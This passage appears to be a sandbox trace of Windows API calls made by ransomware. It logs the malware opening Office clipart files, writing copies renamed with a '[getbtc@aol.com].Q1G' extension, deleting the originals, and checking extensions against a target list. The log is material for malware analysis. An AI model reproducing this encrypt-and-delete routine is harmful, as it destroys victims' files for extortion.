hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.532] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.533] GetLastError () returned 0x0 [0262.533] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4030, lpOverlapped=0x0) returned 1 [0262.566] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4040, lpOverlapped=0x0) returned 1 [0262.567] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.567] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.567] SetEndOfFile (hFile=0x1b8) returned 1 [0262.567] CloseHandle (hObject=0x1b8) returned 1 [0262.567] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.567] SetEndOfFile (hFile=0x1f8) returned 1 [0262.571] CloseHandle (hObject=0x1f8) returned 1 [0262.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.582] lstrlenW (lpString=".doc") returned 4 [0262.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString=".docx") returned 5 [0262.582] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.582] lstrlenW (lpString=".pdf") returned 4 [0262.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString=".xls") returned 4 [0262.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.582] lstrlenW (lpString=".xlsx") returned 5 [0262.582] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.582] lstrlenW (lpString=".ppt") returned 4 [0262.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.582] lstrlenW (lpString=".zip") returned 4 [0262.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.582] lstrlenW (lpString=".rar") returned 4 [0262.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString=".bz2") returned 4 [0262.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString=".7z") returned 3 [0262.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.582] lstrlenW (lpString=".dbf") returned 4 [0262.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.582] lstrlenW (lpString=".1cd") returned 4 [0262.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.582] lstrlenW (lpString=".jpg") returned 4 [0262.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.583] lstrlenW (lpString=".doc") returned 4 [0262.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.583] lstrlenW (lpString=".docx") returned 5 [0262.583] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.583] lstrlenW (lpString=".pdf") returned 4 [0262.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.583] lstrlenW (lpString=".xls") returned 4 [0262.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.583] lstrlenW (lpString=".xlsx") returned 5 [0262.583] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.583] lstrlenW (lpString=".ppt") returned 4 [0262.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.583] lstrlenW (lpString=".zip") returned 4 [0262.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.583] lstrlenW (lpString=".rar") returned 4 [0262.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.583] lstrlenW (lpString=".bz2") returned 4 [0262.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.583] lstrlenW (lpString=".7z") returned 3 [0262.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.583] lstrlenW (lpString=".dbf") returned 4 [0262.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.583] lstrlenW (lpString=".1cd") returned 4 [0262.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0262.583] lstrlenW (lpString=".jpg") returned 4 [0262.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.583] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.584] lstrlenW (lpString="J0152560.WMF") returned 12 [0262.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.584] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=10880) returned 1 [0262.584] CloseHandle (hObject=0x3dc) returned 1 [0262.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 0x20 [0262.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.585] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.585] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.586] GetLastError () returned 0x0 [0262.586] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2a80, lpOverlapped=0x0) returned 1 [0262.607] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2a90, lpOverlapped=0x0) returned 1 [0262.608] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.608] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.608] SetEndOfFile (hFile=0x3e0) returned 1 [0262.608] CloseHandle (hObject=0x3e0) returned 1 [0262.608] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.608] SetEndOfFile (hFile=0x3dc) returned 1 [0262.610] CloseHandle (hObject=0x3dc) returned 1 [0262.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0262.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.644] lstrlenW (lpString=".doc") returned 4 [0262.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.644] lstrlenW (lpString=".docx") returned 5 [0262.644] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.644] lstrlenW (lpString=".pdf") returned 4 [0262.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.644] lstrlenW (lpString=".xls") returned 4 [0262.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.644] lstrlenW (lpString=".xlsx") returned 5 [0262.644] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.644] lstrlenW (lpString=".ppt") returned 4 [0262.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.644] lstrlenW (lpString=".zip") returned 4 [0262.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.644] lstrlenW (lpString=".rar") returned 4 [0262.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.644] lstrlenW (lpString=".bz2") returned 4 [0262.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.644] lstrlenW (lpString=".7z") returned 3 [0262.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.644] lstrlenW (lpString=".dbf") returned 4 [0262.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.644] lstrlenW (lpString=".1cd") returned 4 [0262.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.644] lstrlenW (lpString=".jpg") returned 4 [0262.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.644] lstrlenW (lpString=".doc") returned 4 [0262.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.645] lstrlenW (lpString=".docx") returned 5 [0262.645] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.645] lstrlenW (lpString=".pdf") returned 4 [0262.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.645] lstrlenW (lpString=".xls") returned 4 [0262.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.645] lstrlenW (lpString=".xlsx") returned 5 [0262.645] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.645] lstrlenW (lpString=".ppt") returned 4 [0262.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.645] lstrlenW (lpString=".zip") returned 4 [0262.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.645] lstrlenW (lpString=".rar") returned 4 [0262.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.645] lstrlenW (lpString=".bz2") returned 4 [0262.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.645] lstrlenW (lpString=".7z") returned 3 [0262.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.645] lstrlenW (lpString=".dbf") returned 4 [0262.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.645] lstrlenW (lpString=".1cd") returned 4 [0262.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0262.645] lstrlenW (lpString=".jpg") returned 4 [0262.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.645] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.645] lstrlenW (lpString="J0152602.WMF") returned 12 [0262.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.646] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=6276) returned 1 [0262.646] CloseHandle (hObject=0x3dc) returned 1 [0262.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 0x20 [0262.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.647] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.647] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.648] GetLastError () returned 0x0 [0262.648] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1884, lpOverlapped=0x0) returned 1 [0262.710] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1890, lpOverlapped=0x0) returned 1 [0262.711] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.711] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.711] SetEndOfFile (hFile=0x3e0) returned 1 [0262.711] CloseHandle (hObject=0x3e0) returned 1 [0262.712] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.712] SetEndOfFile (hFile=0x3dc) returned 1 [0262.714] CloseHandle (hObject=0x3dc) returned 1 [0262.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0262.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.715] lstrlenW (lpString=".doc") returned 4 [0262.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString=".docx") returned 5 [0262.715] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.715] lstrlenW (lpString=".pdf") returned 4 [0262.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString=".xls") returned 4 [0262.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.715] lstrlenW (lpString=".xlsx") returned 5 [0262.715] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.715] lstrlenW (lpString=".ppt") returned 4 [0262.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.715] lstrlenW (lpString=".zip") returned 4 [0262.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.715] lstrlenW (lpString=".rar") returned 4 [0262.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString=".bz2") returned 4 [0262.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString=".7z") returned 3 [0262.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.715] lstrlenW (lpString=".dbf") returned 4 [0262.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.715] lstrlenW (lpString=".1cd") returned 4 [0262.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.715] lstrlenW (lpString=".jpg") returned 4 [0262.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.715] lstrlenW (lpString=".doc") returned 4 [0262.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.716] lstrlenW (lpString=".docx") returned 5 [0262.716] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.716] lstrlenW (lpString=".pdf") returned 4 [0262.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.716] lstrlenW (lpString=".xls") returned 4 [0262.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.716] lstrlenW (lpString=".xlsx") returned 5 [0262.716] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.716] lstrlenW (lpString=".ppt") returned 4 [0262.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.716] lstrlenW (lpString=".zip") returned 4 [0262.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.716] lstrlenW (lpString=".rar") returned 4 [0262.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.716] lstrlenW (lpString=".bz2") returned 4 [0262.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.716] lstrlenW (lpString=".7z") returned 3 [0262.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.716] lstrlenW (lpString=".dbf") returned 4 [0262.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.716] lstrlenW (lpString=".1cd") returned 4 [0262.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0262.716] lstrlenW (lpString=".jpg") returned 4 [0262.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.716] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.716] lstrlenW (lpString="J0152606.WMF") returned 12 [0262.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.732] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=16632) returned 1 [0262.732] CloseHandle (hObject=0x37c) returned 1 [0262.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 0x20 [0262.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.777] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.777] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.778] GetLastError () returned 0x0 [0262.778] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, 